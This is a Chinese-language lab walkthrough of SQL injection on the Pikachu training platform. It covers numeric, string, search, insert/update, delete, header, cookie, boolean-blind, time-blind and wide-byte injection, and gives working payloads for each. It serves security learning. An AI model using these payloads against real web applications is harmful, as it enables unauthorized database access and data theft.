一、SQL注入
1.数字型注入
随便选一个,抓包
可以看到是POST
直接加一个真命题
可以看到都爆出来了。
2.字符型注入
先输入‘ 有报错,所以存在SQL注入。
我们直接构造payload:1' or 1=1#
OK
3.搜索型注入
也是加单引号,发现报错,存在SQL注入点。
这个类型,我们推测用的是SQL语句中的like来进行模糊判断
那我们就可以猜测模糊查询的字段应该是'%查询内容%'
那么我可以构造
1%' or 1=1#
ok。
4.xx型注入
说白了就是闭合的符号不一样,我们构造payload
1') or 1=1#
ok
5.insert/update注入
学过数据库,知道insert就是在数据库中添加数据
那么我们注册一个账号,是不是就是在数据库中添加了账号数据
那么我们可以在注册页面插入我们的注入语句
我们猜测后台的mysql语句应该是
insert into user(name,password,sex,phone,address1,address2) value('xxx',123,1,2,3,4)
那我们可以在xxx的位置构造我们的注入语句
xxx' or updatexml(1,concat(0x7e,database()),0) or '
可以看到通过报错获取到了数据库名称
我们来分析一下后台的SQL语句
insert into user(name,password,sex,phone,address1,address2) value('xxx' or updatexml(1,concat(0x7e,database()),0) or '',123,1,2,3,4)
说一下问什么这样构造payload,首先介绍一个函数updatexml() : 是mysql对xml文档数据进行查询和修改的xpath函数,updatexml函数的作用就是改变(查找并替换)xml文档中符合条件的节点的值
- 语法:updatexml(xml_document,XPthstring,new_value)
- 第一个参数是字符串
- 第二个参数是指定字符串中的一个位置(Xpath格式的字符串)
- 第三个参数是将要替换成什么
- Xpath定位必须是有效的,否则则会发生错误
接下来是update注入
我们先正经注册一个账号,然后登陆。
还是和之前一样,我们要想象,后台的mysql语句是怎么执行的
更新我们的信息,需要用到的时候update语句
当修改性别的时候推测后台执行了
- update tables set sex = '$sex' where name = 'boy';
这样我们可以在$sex处构造语句
- xxx' or updatexml(1,concat(0x7e,database()),0) or '
把构造好的语句插入进去看看
update tables set sex = 'xxx' or updatexml(1,concat(0x7e,database()),0) or '
' where name = 'boy';
就构造了一个闭合,可以查询我们想要查询的内容了
6.delete注入
既然是delete注入,那肯定是在删除这里,我们先随便留几条言。
然后我们开启抓包,进行删除操作。
抓到包后
我们在url后面跟上我们的语句,因为这里传的是数值型,我们就不用单引号闭合,直接or就行了。
可以看到这里已经爆出来了。
7.http头注入
(1).UA头注入
有些时候,后台开发人员为了验证客户端头信息,比如常用的cookie验证,或者通过http请求头信息获取客户端的一些信息,比如useragent、accept字段等等,会对客户端的http请求头信息获取并使用sql进行处理,如果此时没有足够的安全考虑,则可能会导致基于http头的sql注入漏洞。
我们登录进来
我们开启抓包刷新一下看看
它既然标识出了我们的user-agent,那我们就从user-agent注入。
我们输入一个单引号试试,发现有报错。
我们构造payload
- ' or updatexml(1,concat(0x7e,datebase()),0) or '
(2).cookie注入
cookie中的admin也是一个注入点
我们在admin后面输入一个单引号,果然发现有报错。
我们直接把刚才构造的payload打上
可以看到也爆出来了。
8.基于boolian的盲注
基于真假的盲注主要特征
- 没有报错信息
- 不管是正确的输入,还是错误的输入,都只有两种情况(可以看做 0 or 1)
- 在正确的输入下,后面跟 and 1=1 / and 1=2 进行判断
kobe' and 1=1# kobe' and 1=2#
发现一条正确执行,一条显示用户名不存在,说明后台存在 SQL 注入漏洞
因为这里的输出只有 用户名存在 和 用户名不存在 两种输出,所以前面基于报错的方式在这不能用。
我们只能通过 真 或者 假 来获取数据,所以手工盲注是很麻烦的。
我们可以先用 length(database()) 判断 数据库名称的长度
kobe' and length(database())>5# kobe' and length(database())=7#
我们在皮卡丘平台一进行实验,输入下面的测试语句
所以是7位数,可以猜一下就是pikachu
再用 substr() 和 ascii() 判断数据库由哪些字母组成(可以用二分法)
kobe' and ascii(substr(database(), 1, 1)) > 113# kobe' and ascii(substr(database(), 1, 1)) > 105# …… kobe' and ascii(substr(database(), 1, 1)) = 112#
不断重复,然后取得数据库名。再和 information_schema 和 length 猜测 表名 的长度,我们可以用下面的 SQL 语句替代上面的 database()
(select table_name from information_schema.tables where table_schema=database() limit 0,1)
先判断表名长度
kobe' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,100)) = 8#
然后猜解表名
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1)) > 113# …… kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1)) =104#
最后得出确实是pikachu
9.基于时间的盲注
基于真假的盲注可以看到回显的信息,正确 or 错误
基于时间的注入就什么都看不到了,我们通过特定的输入,判断后台执行的时间,从而确定注入点,比如用 sleep() 函数
无论输入什么,前端都是显示 “I don't care who you are!”
我们按 F12 打开控制台,选到网络
然后我们输入下面的 payload 进行测试
kobe' and sleep(5)#
如果存在注入点,后端就会 sleep 5秒才会返回执行结果
看到上面的结果说明我们注入成功了,构造下面的 payload,用 database() 取得数据库的名称,再用 substr 取字符判断数据库名称的组成,如果猜解成功就会 sleep 5秒,否则没有任何动作
kobe' and if((substr(database(), 1, 1))='p', sleep(5), null)#
后面也跟真假注入是一样的了,替换 database() 就可,如
kobe' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1))='h', sleep(5), null)#
10.宽字节注入
当我们输入有单引号时被转义为\’,无法构造 SQL 语句的时候,可以尝试宽字节注入。
GBK编码中,反斜杠的编码是 “%5c”,而 “%df%5c” 是繁体字 “連”。
在皮卡丘平台中,将利用 BurpSuite 截获数据包,发送到 Repeater 中,在里面写入 payload
当我们用通常的测试 payload时,是无法执行成功的,下面的payload会报错
kobe' or 1=1#
因为在后台单引号会被转义,在数据库中执行时多了个反斜杠。我们可以用下面的payload,在单引号前面加上 %df,让单引号成功逃逸
kobe%df' or 1=1#
我们注入抓包看看